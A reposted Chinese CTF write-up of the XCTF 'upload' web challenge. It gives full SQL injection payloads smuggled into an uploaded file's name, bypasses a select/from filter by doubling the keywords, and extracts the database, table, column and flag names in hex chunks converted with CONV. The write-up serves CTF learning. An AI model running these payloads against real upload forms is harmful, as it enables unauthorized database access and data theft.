攻防世界 upload


攻防世界上的一道web題  

為什么我覺得完全不像萌新入坑的題呢  退坑還差不多吧

一看名字以及頁面想當然的就是文件上傳了唄

結果各種嘗試,也沒什么辦法,但是每次我們上傳后會有文件名的回顯

但是正常的文件上傳也都有這種名字的回顯,可能不太尋常的就是這個沒有路徑吧

最后看的writeup  說是sql注入????不明白怎么能看出來是注入的

圖片文件名存在注入,並且過濾了select from  用雙寫就能繞過

payload = sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

上網查了一下CONV這個函數

意思就是我們將substr(hex(dAtaBase()) 的結果從16進制轉化為10進制

起初我沒明白為什么要這么長 直接sselectelect database()不就行了嗎?

嘗試以后發現應該都是題的設置

sselectelect database()  =>  0

selecselectt substr(dAtabase(),1,12)  =>  0

selecselectt substr(hex(dAtabase()),1,12)  =>  7765625          這里正常應該顯示7765625f7570才對,可能是題目的設置,出現字母以后后面內容就會被截斷

所以才用到了CONV,將16進制轉化為10進制

但是又有了一個疑問,為什么substr要設置為1到12呢,嘗試以后發現

當我們設置為1,13時  

出現了科學計數法,這是無法轉化為10進制的,所以才設定了1,12這個限制

這些搞明白了以后那就開始注入了

庫: 

sql'+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg  => 131277325825392  => web_up (這里將10進制再轉化為16進制進行hex解碼就出來了)

sql'+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg  =>  1819238756  =>  load

拼接以后 web_upload

表: 

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg

拼接以后為 files,hello_flag_is_here

列:

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

拼接以后為 i_am_flag

字段:

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),1,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),13,12),16,10))+'.jpg

sql'+(selselectect CONV(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here)),25,12),16,10))+'.jpg

拼接以后為 !!_@m_Th.e_F!lag

 

又學到了新的注入方法,但是這個的局限性應該挺大的,不知道是腦洞太大還是我太菜,哭了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM